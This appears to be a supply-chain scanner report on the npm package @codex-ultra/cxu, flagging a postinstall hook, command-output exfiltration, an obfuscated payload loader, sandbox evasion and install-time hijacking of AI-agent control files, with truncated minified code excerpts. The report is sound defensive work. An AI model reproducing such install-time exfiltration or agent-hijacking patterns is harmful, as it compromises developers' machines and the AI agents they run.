@codex-ultra/cxu@0.2.13: Suspicious npm security report (Warn) | LPM Firewall

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@codex-ultra/cxu@0.2.13: Suspicious npm security report (Warn) | LPM Firewall

Source & flagged code

16 flagged · loading source

package.jsonView file

•scripts.postinstall = node dist/postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node dist/postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

server-bundle/index.jsView file

1var O0=(e=>typeof require<"u"?require:typeof Proxy<"u"?new Proxy(e,{get:(t,n)=>(typeof require<"u"?require:t)[n]}):e)(function(e){if(typeof require<"u")return require.apply(this,ar... L2: `).slice(0,8e3)}function wt(e){let t=ho(e),n=t?.mode==="enabled"||t?.mode==="disabled"?t.mode:"inherit",r=t?.childCount===null||t?.childCount===void 0?null:Number(t.childCount),s=r... L3: `);a(new Error(`Timed out waiting for Codex daemon ${r} after ${o_}ms${h?`: L4: ${up(h)}`:""}`))},o_);d.stdout.on("data",h=>{l+=h.toString("utf8")}),d.stderr.on("data",h=>{c+=h.toString("utf8")}),d.once("exit",h=>{if(!p)if(p=!0,clearTimeout(m),h===0||this.hasU... L5: `);a(new Error(`Failed to ${r} daemon (code ${h}): ${up(u)}`))}}),d.once("error",h=>{p||(p=!0,clearTimeout(m),a(h))})})}daemonNeedsRuntimeEnvRestart(n){

Critical

Command Output Exfiltration

Source executes local commands and sends command output to an external endpoint.

server-bundle/index.jsView on unpkg · L1

2649${c}`)}}));let r=await P.loadWebAssemblyModule(await n,{loadAsync:!0}),s=Object.keys(r),o=s.find(d=>vM.test(d)&&!d.includes("external_scanner_"));if(!o)throw console.log(`Couldn't ... L2650: ${JSON.stringify(s,null,2)}`),new Error("Language.load failed: no language function found in WASM file");let a=r[o]();return new Fw(Gr,a)}},EM=(()=>{var _scriptName=import.meta.url... L2651: `);function s(o,a){for(let d=0;d<o.length;d++){let l=o[d];if(!l)continue;let c=d===o.length-1,p=c?"\u2514\u2500\u2500 ":"\u251C\u2500\u2500 ",m=a+(c?" ":"\u2502 "),h=`[L${l.st...

High

Eval

Package source references dynamic code evaluation.

server-bundle/index.jsView on unpkg · L2649

1var O0=(e=>typeof require<"u"?require:typeof Proxy<"u"?new Proxy(e,{get:(t,n)=>(typeof require<"u"?require:t)[n]}):e)(function(e){if(typeof require<"u")return require.apply(this,ar... L2: `).slice(0,8e3)}function wt(e){let t=ho(e),n=t?.mode==="enabled"||t?.mode==="disabled"?t.mode:"inherit",r=t?.childCount===null||t?.childCount===void 0?null:Number(t.childCount),s=r... L3: `);a(new Error(`Timed out waiting for Codex daemon ${r} after ${o_}ms${h?`:

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

server-bundle/index.jsView on unpkg · L1

•command output transform/external POST = de(r,"foreground");if(!l)throw d.stop(),t.delete(r),new error("autonomous remote thread route disappeared during attach");return{threadid:r,state:"foreground",remotecontinues:!0,route:l,status:d.getstatus()}}t.get(r)?.stop(),t.delete(r);let a=e.setlifecyclemode(r,"background");if(!a)throw new error("autonomous remote thread route disappeared during detach");return{threadid:r,state:"background",remotecontinues:!0,route:a}}import{eventemitter as yr}from"node:events";import{createreadstream as ws,existssync as qs}from"node:fs";import{createserver as hs}from"node:net";import{arch as ks,platform as zs}from"node:os";import{dirname as xs,resolve as tm}from"node:path";import{fileurltopath as ys}from"node:url";import{execfile as zs,spawn as nm}from"node:chil

High

Fixed External Command Output Exfiltration

Source captures command output, transforms it, and includes it in a POST body sent to a literal external destination.

server-bundle/index.jsView on unpkg

1var O0=(e=>typeof require<"u"?require:typeof Proxy<"u"?new Proxy(e,{get:(t,n)=>(typeof require<"u"?require:t)[n]}):e)(function(e){if(typeof require<"u")return require.apply(this,ar... L2: `).slice(0,8e3)}function wt(e){let t=ho(e),n=t?.mode==="enabled"||t?.mode==="disabled"?t.mode:"inherit",r=t?.childCount===null||t?.childCount===void 0?null:Number(t.childCount),s=r... ... L649: `,p+"/release-id","600");let m=aR({releaseId:a,port:n,token:l,home:r.home,claudeEnabled:o!=="disabled"}),h=["[Unit]","Description=Codex Ultra Remote Bun Server","After=network-onli... L650: `);await em(t,m,"~/.codex-ultra/remote/server.env","600"),await em(t,h,"~/.config/systemd/user/"+ki,"600"),await Or("ssh",[...t,'rm -rf "$HOME/.codex-ultra/remote/previous"; rm -f ... L651: `)+` ... L2649: ${c}`)}}));let r=a

High

Remote Agent Bridge

Source exposes local file and command tools to a remote model endpoint.

server-bundle/index.jsView on unpkg · L1

•matchType = normalized_sha256 matchedPackage = @codex-ultra/cxu@0.2.12 matchedPath = server-bundle/index.js matchedIdentity = npm:QGNvZGV4LXVsdHJhL2N4dQ:0.2.12 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

server-bundle/index.jsView on unpkg

1var O0=(e=>typeof require<"u"?require:typeof Proxy<"u"?new Proxy(e,{get:(t,n)=>(typeof require<"u"?require:t)[n]}):e)(function(e){if(typeof require<"u")return require.apply(this,ar... L2: `).slice(0,8e3)}function wt(e){let t=ho(e),n=t?.mode==="enabled"||t?.mode==="disabled"?t.mode:"inherit",r=t?.childCount===null||t?.childCount===void 0?null:Number(t.childCount),s=r... L3: `);a(new Error(`Timed out waiting for Codex daemon ${r} after ${o_}ms${h?`: L4: ${up(h)}`:""}`))},o_);d.stdout.on("data",h=>{l+=h.toString("utf8")}),d.stderr.on("data",h=>{c+=h.toString("utf8")}),d.once("exit",h=>{if(!p)if(p=!0,clearTimeout(m),h===0||this.hasU... L5: `);a(new Error(`Failed to ${r} daemon (code ${h}): ${up(u)}`))}}),d.once("error",h=>{p||(p=!0,clearTimeout(m),a(h))})})}daemonNeedsRuntimeEnvRestart(n){

Low

Weak Crypto

Package source references weak cryptographic algorithms.

server-bundle/index.jsView on unpkg · L1

dist/postinstall.jsView file

1import{spawnSync as m}from"node:child_process";import{chmodSync as b,existsSync as h,mkdirSync as v,statSync as w,writeFileSync as k}from"node:fs";import{createRequire as y}from"no...

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

dist/postinstall.jsView on unpkg · L1

•matchType = normalized_sha256 matchedPackage = @codex-ultra/cxu@0.2.12 matchedPath = dist/postinstall.js matchedIdentity = npm:QGNvZGV4LXVsdHJhL2N4dQ:0.2.12 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/postinstall.jsView on unpkg

dist/index.jsView file

1Install-time code directly mutates a foreign AI-agent control surface: L1: (function(_0x731c85,_0x249f7b){function _0x367231(_0xe59158,_0x40b709,_0x1c9d60,_0x1199c){return _0x4abd(_0x1199c- -0x21b,_0x40b709);}const _0x5a610b=_0x731c85();function _0x4708f4... Write operation from dist/postinstall.js: L1: import{spawnSync as m}from"node:child_process";import{chmodSync as b,existsSync as h,mkdirSync as v,statSync as w,writeFileSync as k}from"node:fs";import{createRequire as y}from"no... Foreign user/project scope from dist/postinstall.js: L1: import{spawnSync as m}from"node:child_process";import{chmodSync as b,existsSync as h,mkdirSync as v,statSync as w,writeFileSync as k}from"node:fs";import{createRequire as y}from"no...

Critical

Ai Agent Control Hijack

Source creates an unconsented AI-agent control surface through install-time mutation or a default unauthenticated remote skill channel.

dist/index.jsView on unpkg · L1

•matchType = previous_version_dangerous_delta matchedPackage = @codex-ultra/cxu@0.2.11 matchedIdentity = npm:QGNvZGV4LXVsdHJhL2N4dQ:0.2.11 similarity = 0.714 summary = stored previous version shares package body but lacks this dangerous source file

Critical

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

dist/index.jsView on unpkg

1(function(_0x731c85,_0x249f7b){function _0x367231(_0xe59158,_0x40b709,_0x1c9d60,_0x1199c){return _0x4abd(_0x1199c- -0x21b,_0x40b709);}const _0x5a610b=_0x731c85();function _0x4708f4...

High

Obfuscated Payload Loader

wasm/tree-sitter.wasmView file

•path = wasm/tree-sitter.wasm kind = wasm_module sizeBytes = 205488 magicHex = [redacted]

Medium

Ships Wasm Module

Package ships WebAssembly modules.

wasm/tree-sitter.wasmView on unpkg

web-dist/assets/main-msz0q4aj.jsView file

•path = web-dist/assets/main-msz0q4aj.js kind = oversized_source_file sizeBytes = 9056394 magicHex = [redacted]

Medium

Oversized Source File

Package contains source files above the normal full-analysis size ceiling.

web-dist/assets/main-msz0q4aj.jsView on unpkg

Source & flagged code

16 flagged

package.jsonView file

Lines 11-51json

11 "import": "./dist/index.js"

12 }

13 },

14 "bin": {

15 "cxu": "dist/cli.js"

16 },

17 "files": [

18 "dist",

19 "wasm",

20 "web-dist",

21 "server-bundle",

22 "README.md",

23 "LICENSE"

24 ],

25 "scripts": {

26 "vendor": "node scripts/vendor-sa-vm.mjs",

27 "build": "node scripts/build.mjs",

28 "build:bun": "bun scripts/build.mjs",

29 "obfuscate": "node scripts/obfuscate.mjs",

30 "typecheck": "tsc -p tsconfig.json --noEmit",

31 "postinstall": "node dist/postinstall.js",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L31

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L31

32 "prepack": "npm run build && npm run obfuscate",

33 "test": "bun test test/ 2>/dev/null || node --test test/*.test.mjs"

34 },

35 "publishConfig": {

36 "access": "public"

37 },

38 "dependencies": {

39 "tree-sitter-wasms": "^0.1.13",

40 "web-tree-sitter": "0.25.10"

41 },

42 "devDependencies": {

43 "esbuild": "^0.25.12",

44 "javascript-obfuscator": "^5.5.0",

45 "typescript": "^5.9.3"

46 },

47 "engines": {

48 "node": ">=18"

49 },

50 "license": "MIT",

51 "homepage": "https://github.com/layola13/codex-ultra#readme",

server-bundle/index.jsView file

1var O0=(e=>typeof require<"u"?require:typeof Proxy<"u"?new Proxy(e,{get:(t,n)=>(typeof require<"u"?require:t)[n]}):e)(function(e){if(typeof require<"u")return require.apply(this,ar... L2: `).slice(0,8e3)}function wt(e){let t=ho(e),n=t?.mode==="enabled"||t?.mode==="disabled"?t.mode:"inherit",r=t?.childCount===null||t?.childCount===void 0?null:Number(t.childCount),s=r... L3: `);a(new Error(`Timed out waiting for Codex daemon ${r} after ${o_}ms${h?`: L4: ${up(h)}`:""}`))},o_);d.stdout.on("data",h=>{l+=h.toString("utf8")}),d.stderr.on("data",h=>{c+=h.toString("utf8")}),d.once("exit",h=>{if(!p)if(p=!0,clearTimeout(m),h===0||this.hasU... L5: `);a(new Error(`Failed to ${r} daemon (code ${h}): ${up(u)}`))}}),d.once("error",h=>{p||(p=!0,clearTimeout(m),a(h))})})}daemonNeedsRuntimeEnvRestart(n){

Critical

Command Output Exfiltration

Source executes local commands and sends command output to an external endpoint.

server-bundle/index.jsView on unpkg · L1

2649${c}`)}}));let r=await P.loadWebAssemblyModule(await n,{loadAsync:!0}),s=Object.keys(r),o=s.find(d=>vM.test(d)&&!d.includes("external_scanner_"));if(!o)throw console.log(`Couldn't ... L2650: ${JSON.stringify(s,null,2)}`),new Error("Language.load failed: no language function found in WASM file");let a=r[o]();return new Fw(Gr,a)}},EM=(()=>{var _scriptName=import.meta.url... L2651: `);function s(o,a){for(let d=0;d<o.length;d++){let l=o[d];if(!l)continue;let c=d===o.length-1,p=c?"\u2514\u2500\u2500 ":"\u251C\u2500\u2500 ",m=a+(c?" ":"\u2502 "),h=`[L${l.st...

High

Eval

Package source references dynamic code evaluation.

server-bundle/index.jsView on unpkg · L2649

1var O0=(e=>typeof require<"u"?require:typeof Proxy<"u"?new Proxy(e,{get:(t,n)=>(typeof require<"u"?require:t)[n]}):e)(function(e){if(typeof require<"u")return require.apply(this,ar... L2: `).slice(0,8e3)}function wt(e){let t=ho(e),n=t?.mode==="enabled"||t?.mode==="disabled"?t.mode:"inherit",r=t?.childCount===null||t?.childCount===void 0?null:Number(t.childCount),s=r... L3: `);a(new Error(`Timed out waiting for Codex daemon ${r} after ${o_}ms${h?`:

dist/postinstall.jsView file

Lines 1-2javascript

1import{spawnSync as m}from"node:child_process";import{chmodSync as b,existsSync as h,mkdirSync as v,statSync as w,writeFileSync as k}from"node:fs";import{createRequire as y}from"node:module"

dist/index.jsView file

1Install-time code directly mutates a foreign AI-agent control surface: L1: (function(_0x731c85,_0x249f7b){function _0x367231(_0xe59158,_0x40b709,_0x1c9d60,_0x1199c){return _0x4abd(_0x1199c- -0x21b,_0x40b709);}const _0x5a610b=_0x731c85();function _0x4708f4... Write operation from dist/postinstall.js: L1: import{spawnSync as m}from"node:child_process";import{chmodSync as b,existsSync as h,mkdirSync as v,statSync as w,writeFileSync as k}from"node:fs";import{createRequire as y}from"no... Foreign user/project scope from dist/postinstall.js: L1: import{spawnSync as m}from"node:child_process";import{chmodSync as b,existsSync as h,mkdirSync as v,statSync as w,writeFileSync as k}from"node:fs";import{createRequire as y}from"no...

Critical

Ai Agent Control Hijack

Source creates an unconsented AI-agent control surface through install-time mutation or a default unauthenticated remote skill channel.

dist/index.jsView on unpkg · L1

•matchType = previous_version_dangerous_delta matchedPackage = @codex-ultra/cxu@0.2.11 matchedIdentity = npm:QGNvZGV4LXVsdHJhL2N4dQ:0.2.11 similarity = 0.714 summary = stored previous version shares package body but lacks this dangerous source file

Critical

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

dist/index.jsView on unpkg

1(function(_0x731c85,_0x249f7b){function _0x367231(_0xe59158,_0x40b709,_0x1c9d60,_0x1199c){return _0x4abd(_0x1199c- -0x21b,_0x40b709);}const _0x5a610b=_0x731c85();function _0x4708f4...

High

Obfuscated Payload Loader

wasm/tree-sitter.wasmView file

•path = wasm/tree-sitter.wasm kind = wasm_module sizeBytes = 205488 magicHex = [redacted]

Medium

Ships Wasm Module

Package ships WebAssembly modules.

wasm/tree-sitter.wasmView on unpkg

web-dist/assets/main-msz0q4aj.jsView file

•path = web-dist/assets/main-msz0q4aj.js kind = oversized_source_file sizeBytes = 9056394 magicHex = [redacted]

Medium

Oversized Source File

Package contains source files above the normal full-analysis size ceiling.

web-dist/assets/main-msz0q4aj.jsView on unpkg